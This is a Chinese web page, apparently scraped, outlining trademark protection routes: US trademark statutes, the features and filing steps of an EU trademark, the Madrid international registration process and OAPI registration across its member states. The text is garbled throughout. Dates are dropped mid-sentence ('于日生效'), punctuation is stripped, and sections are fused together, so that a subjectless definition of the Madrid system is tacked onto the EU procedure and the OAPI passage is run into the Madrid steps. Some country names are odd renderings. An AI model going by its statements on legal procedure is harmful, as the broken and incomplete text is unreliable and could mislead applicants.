美国现行的与商标有关的法律包括于1988年修改的美国商标法该法令于日生效此外还有日的商标法实施细则日生效的一九八四年商标假冒条例以及与不正当竞争有关的成文法规和商标条例实践规则等欧盟成员国名单　　英国德国法国意大利比利时卢森堡丹麦瑞典西班牙葡萄牙芬兰希腊奥地利荷兰爱尔兰塞普勒斯捷克伊斯坦尼亚匈牙利拉脱维亚立陶宛马耳他波兰斯洛伐克斯洛维尼亚
欧盟商标具备以下特点　　1 费用低只须提交一份申请注册一次即可在整个欧盟的二十五个成员国使用该商标较之于在各个成员国分别提出申请费用大幅度减少　　2 保护程序集中化一件商标注册可获得欧盟二十五个成员国的保护有关商标案件的裁决将在欧盟所有的国家得到执行　　3 欧盟商标是一个单一的财产它只能作为整个欧盟而不是单独成员国的财产被转让但是一些有地域限制或其它限制的商标许可甚至只限定于某一特定成员国的许可是可以的　　4 已注册之商标可仅在一个欧盟国家使用商标在欧盟任何一个国家的使用就足以对抗以未使用商标为由提出的撤销申请　　5 享有巴黎公约优先权同一商标用于一种或多种指定商品或服务名称在巴黎公约成员国申请后六个月申请共同体商标时可享有优先权　　6 已经在一个欧盟成员国公布的注册商标在申请欧盟商标时可请求优先权　　7 一件商标申请最多可涵盖三个类别商品或服务超过三个类别的每增加一类费用须另外收取
欧盟商标的基本注册程序如下所述　　1 申请人向欧盟商标局或欧盟成员国商标局提出申请　　2 欧盟商标局将申请内容通知各成员国的商标主管机关以便在同一时间进行各国的商标审查　　3 审查通过后进入三个月的公告在这三个月里任何第三者可以对公告的商标提出异议　　4 如果没有第三者提出异议申请的商标可以在一年内获准注册　　5 申请注册周期约 12-15个月是马德里所有缔约国之间的一种商标国际注册保护方式,它最大的特点就是只需要提交一份申请就可以要求在多个缔约国进行注册
马德里商标国际注册流程
提交申请之中商标局国际处
国际处进行形式审查
3提交国际局
国际处形式审查通过后提交国际局进行形式审查
如果商标国际注册申请手续完备大约需要6个月左右国际局可颁发商标国际注册证明效力相当于国内的受理通知书
5指定国审查
国际局将申请传至指定保护的国家各国依当国法律进行审查
6指定各国核准保护
商标国际注册申请时指定国的各保护国家将根据各自的国家法律决定是否予以保护非洲知识产权组织简称OAPI或非知是由前法国殖民地官方语言为法语的国家组成的区域性知识产权保护联盟商标核准注册后在16个成员国均受保护有效期10年该组织在喀麦隆设有知识产权办公室统管各成员国的商标事务各成员国在商标领域内受非洲知识产权组织的约束没有各自独立的商标制度所以在各个国家并不存在逐一国家注册的可能性只能通过非洲知识产权组织统一注册保护
新手上路我有疑问投诉建议参考资料 查看